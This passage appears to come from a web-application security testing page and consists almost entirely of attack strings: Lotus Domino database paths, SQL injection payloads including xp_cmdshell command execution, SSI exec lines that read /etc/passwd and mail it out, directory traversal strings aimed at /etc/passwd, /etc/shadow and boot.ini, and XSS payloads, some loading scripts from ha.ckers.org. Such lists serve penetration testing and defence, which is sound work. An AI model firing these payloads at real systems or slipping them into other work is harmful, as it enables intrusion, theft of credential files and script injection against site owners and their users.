/log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A 